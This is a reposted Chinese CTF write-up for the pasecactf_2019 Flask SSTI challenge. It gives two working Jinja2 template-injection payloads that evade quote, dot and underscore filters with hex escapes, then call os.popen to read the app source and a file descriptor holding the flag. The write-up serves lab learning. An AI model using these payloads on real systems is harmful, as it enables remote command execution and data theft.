码迷,mamicode.com
首页 > Web开发 > 详细

web | [pasecactf_2019]flask_ssti

时间:2021-01-05 11:19:21      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:pen   init   划线   self   应该   成功   pop   web   sub   

明显的ssti

过滤单引号,点,下划线

直接丢exp了

读源码

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat%20app\x2epy")["read"]()}}

读flag

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat%20/proc/self/fd/3")["read"]()}}

我感觉上面的应该就可以了,不过就是读不出来东西,可能有点细微的差别,用另外一个get_data就可以成功了。

web | [pasecactf_2019]flask_ssti

标签:pen   init   划线   self   应该   成功   pop   web   sub   

原文地址:https://www.cnblogs.com/Mz1-rc/p/14220880.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!